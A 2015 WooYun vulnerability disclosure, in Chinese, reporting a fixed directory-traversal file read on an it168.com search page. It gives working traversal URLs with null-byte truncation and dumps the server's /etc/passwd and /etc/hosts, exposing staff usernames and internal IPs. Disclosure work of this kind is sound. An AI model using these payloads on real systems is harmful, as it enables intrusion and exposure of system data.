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缺陷编号:wooyun-2015-0119731

漏洞标题:it168某站点任意文件读取漏洞

相关厂商:IT168.com

漏洞作者: 路人甲

提交时间:2015-06-11 11:02

修复时间:2015-07-30 09:38

公开时间:2015-07-30 09:38

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-06-11: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开

简要描述:

it168某站点任意文件读取漏洞

详细说明:

模板处理不当,引入目录遍历:

http://sou.it168.com/article?channelId=0&f=9001&ie=utf-8&q=1&st=20&template=../../../../../../../../../../etc/passwd%00
http://sou.it168.com/article?channelId=0&f=9001&ie=utf-8&q=1&st=20&template=../../../../../../../../../../etc/my.cnf%00.jpg

漏洞证明:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
wanghm:x:500:500::/home/wanghm:/bin/bash
wangchang:x:501:501::/home/wangchang:/bin/bash
zhangjie:x:502:502::/home/zhangjie:/bin/bash
lighttpd:x:503:503::/home/lighttpd:/sbin/nologin
itsearch:x:504:504::/home/itsearch:/bin/bash
wangxi:x:505:505::/home/wangxi:/bin/bash
nagios:x:506:506::/home/nagios:/sbin/nologin
liuzhiqiang:x:507:507::/home/liuzhiqiang:/bin/bash
wangfei:x:508:508::/home/wangfei:/bin/bash
wuyue:x:509:509::/home/wuyue:/bin/bash
wangxin:x:510:510::/home/wangxin:/bin/bash


http://sou.it168.com/article?channelId=0&f=9001&ie=utf-8&q=1&st=20&template=../../../../../../../../../../etc/hosts%00.jpg
127.0.0.1 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
202.106.199.39 centos5e.it168.com centos5e
219.141.178.11 svn.corp.it168.com
61.55.167.87 svn.it168.com

修复方案:

限定不可跨父目录

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-15 09:36

厂商回复:

已修正,多谢。

最新状态:

暂无